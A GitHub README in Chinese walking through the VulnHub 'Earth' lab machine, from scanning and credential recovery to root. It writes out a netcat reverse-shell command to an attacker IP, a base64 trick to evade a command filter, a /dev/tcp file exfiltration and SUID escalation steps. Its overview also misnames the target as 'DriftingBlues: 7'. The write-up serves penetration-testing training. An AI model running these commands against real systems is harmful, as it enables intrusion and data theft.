Jeet-Bandhara/Vulnhub-Earth-Walkthrough

GitHub: Jeet-Bandhara/Vulnhub-Earth-Walkthrough

一份完整的VulnHub Earth靶机渗透攻略,以结构化方式演示了从信息收集到获取root权限的完整攻击链路。

Stars: 0 | Forks: 0

# 🔐Vulnhub-Earth-Walkthrough 🎯 本篇攻略演示了一种结构化的方法,涵盖了信息收集、漏洞利用和权限提升。 ## 📌 概述 - **靶机:** DriftingBlues: 7 - **平台:** VulnHub - **目标:** 获取 root 权限 本项目演示了完整的渗透测试生命周期,主要侧重于: - 深度信息收集 - 凭据发现 - 漏洞利用链 - 获取 root 权限 ## 🧠 方法论 ``` flowchart LR A[Reconnaissance] --> B[Enumeration] B --> C[Credential Discovery] C --> D[Exploitation] D --> E[Privilege Escalation] E --> F[Root Access] ``` ## 🌐 网络发现 我们将首先借助 netdiscover 工具发现受害目标的 IP 地址。 **命令:** sudo netdiscover -r image **目标 IP:** 192.168.56.107 **为什么要这样做:** - 识别网络上的活动主机。 - 在扫描之前检测易受攻击的虚拟机。 ## 🔎 端口扫描 找到 IP 地址后,我们现在将使用 nmap 扫描此机器上运行的所有开放端口和服务。 **命令:** sudo nmap -Pn -sS -sV image | 端口 | 服务 | | ---- | ------------- | | 22 | SSH | | 80 | HTTP | | 443 | HTTPS | ## 🧪 信息收集 **🌍 Web 信息收集** 访问 HTTPS 服务揭示了一个自签名证书,其中包含: - earth.local - terratest.earth.local image image **为什么这很重要:** SSL 证书经常会泄露: - 内部域名 - 子域名 - 基础设施命名约定 **更新 Host 文件** 现在我将使用这两个 DNS 更新我的 Kali 机器的 host 文件,以便能够进行访问。 **命令:** sudo nano /etc/hosts image **已添加:** - earth.local - terratest.earth.local image ## 📂 目录枚举 枚举 HTTP 服务 **命令:** gobuster dir -u http://earth.local -w /usr/share/wordlists/dirb/directory-medium-2.3.txt **发现结果:** /admin image **为什么这很重要:** 管理门户通常是高价值目标,它们可能会: - 暴露登录功能 - 泄露敏感特性 - 允许远程代码执行 所以我访问了 /admin 目录,并发现了管理员登录面板。 image image 枚举 HTTPS 服务 **命令:** gobuster dir -u https://terratest.earth.local -k -w /usr/share/wordlists/dirb/directory-medium-2.3.txt **发现结果:** robots.txt image 打开 robots.txt 后,我发现了一个有趣的条目,即 /testingnotes.txt **为什么这很重要:** 配置不当的 robots.txt 文件可能会无意中暴露: - 隐藏目录 - 开发者笔记 - 敏感测试数据 ## 📜 信息泄露 访问 testingnotes.txt image **泄露的信息:** - 使用了 XOR 加密 - 用户名: terra - 加密密钥保存在 testdata.txt 中 ## 🔓 凭据恢复 使用 Hex 解码和来自 testdata.txt 的 XOR 加密密钥。 恢复的凭据: - 用户名: terra - 密码: earthclimatechangebad4humans image ## 🔐 认证与命令执行 现在我有了管理员登录面板的凭据,我将使用这些凭据进行登录。 使用恢复的凭据成功通过身份验证。 image **命令注入能力** 管理面板允许执行任意命令。 **为什么这很关键:** 未经处理的命令执行可以直接导致: - 远程代码执行 - 反弹 Shell - 服务器被完全攻陷 ## 💣 反弹 Shell 现在我将使用 netcat 工具连接到我们的目标机器。在 CLI 命令窗口中使用以下命令: **命令:** nc -e /bin/bash 192.168.56.102 4444 在 CLI 命令窗口中运行该命令之前,请首先在你的 Kali 机器上监听 4444 端口。 **命令:** nc -lvp 4444 image image 在运行 CLI 命令后,我发现远程连接被禁止了,因此我需要加密 netcat 命令并强制对其进行解密。 使用以下命令进行加密: **命令:** echo 'nc -e /bin/bash 192.168.56.102 4444' | base64 image 现在将字符串复制到 CLI 命令中并对其进行解密。 **命令:** echo 'put_your_encoded_string_here' | base64 -d | bash 如你所见,我已经借助 netcat 连接到了我们的目标机器。 image ## 🧑‍💻 Shell 稳定化 运行以下 python 命令以稳定 Shell: **命令:** python3 -c 'import pty; pty.spawn("/bin/bash")' **为什么要这样做:** 一个稳定的 Shell 允许: - 更好的命令交互 - 使用 Sudo - 交互式 Shell 功能 ## 🚀 权限提升 **SUID 枚举** 现在我将尝试查找目标机器上是否存在任何薄弱的文件权限。 **命令:** find / -perm -u=s -type f 2>/dev/null **发现有趣的二进制文件:** /usr/bin/reset_root image 现在我将尝试检查文件信息。 **命令:** file /usr/bin/reset_root **命令:** reset_root **结果:** 检查失败 可疑的自定义 SUID 二进制文件通常是可以被利用的。 image 我发现该文件不可执行,因为我遇到了一个错误。 ## 🔬 二进制文件提取与分析 我首先会将这个文件发送到我们的 Kali 机器上,为此,请在你的 Kali 机器上启动 netcat 监听器。 **命令:** nc -lvnp 3333 > reset_root(在你的 Kali 机器上) 在目标机器上的另一个 netcat 会话中,运行此命令将文件发送到 Kali 机器。 **命令:** cat /usr/bin/reset_root > /dev/tcp/192.168.56.102/3333(在你的目标机器上) image 现在文件已经到了我们的 Kali 机器上,我将使用 ltrace 工具来分析该文件,因此首先我需要使用 chmod 命令为 reset_root 文件添加执行权限。 **命令:** chmod +x ./reset_root 然后运行 ltrace 工具。 **命令:** ltrace ./reset_root image **发现结果:** 目标机器上缺失了 3 个文件,这就是文件未能执行的原因。 - /dev/shm/kHgTFI5G - /dev/shm/Zw7bV9U5 - /tmp/kcM0Wewe ## 🔓 触发权限提升 现在我将使用 touch 命令将此文件添加到目标机器。 **命令:** touch image 现在,添加此文件后,我们将运行 reset_root 文件。 image **Root 密码重置成功** ## 👑 Root 访问 Root 密码已成功重置为 Earth。让我们登录 root 账号。 **命令:** su root 成功以 root 身份登录。要获取 root flag,请进入 root 目录并使用 cat 命令打开。 **命令:** cat /root/root_flag.txt 成功攻陷 root 权限。 ## ⚔️ Mitre Attack 映射 | 阶段 | 技术 | | -------------------- | ------------------------------------- | | 侦察 | 主动扫描 | | 发现 | 文件和目录发现 | | 凭据访问 | 来自密码存储的凭据 | | 初始访问 | 有效账户 | | 执行 | 命令和脚本解释器 | | 持久化 | 账户操纵 | | 权限提升 | 利用进行权限提升 | ## 🧠 核心学习要点 - SSL 证书可能会泄露有价值的基础设施信息 - robots.txt 可能会暴露敏感的开发文件 - 薄弱的加密做法可能导致凭据泄露 - 未经处理的命令执行会导致 RCE - 应始终仔细分析自定义的 SUID 二进制文件 ## 🛡️ 安全建议 - 限制对敏感文件的公开访问 - 避免公开暴露加密密钥 - 验证并处理命令执行的输入 - 将自签名证书替换为受信任的 CA 证书 - 审计自定义 SUID 二进制文件中是否存在不安全的逻辑 ## 🛠️ 使用的工具 - Nmap - Gobuster - Cyberchef - Netcat - Ltrace ## 👨‍💻 作者 **Jeet Bandhara** - https://github.com/Jeet-Bandhara?utm_source=chatgpt.com - https://medium.com/@bndjeet11
标签:CISA项目, CTI, HTTPS, Netdiscover, Nmap, SSH, SSL证书解析, VulnHub, Web报告查看器, Web枚举, 协议分析, 安全攻防, 提权, 插件系统, 权限提升, 枚举, 网络安全, 获取根权限, 虚拟驱动器, 逆向工具, 隐私保护, 靶机演练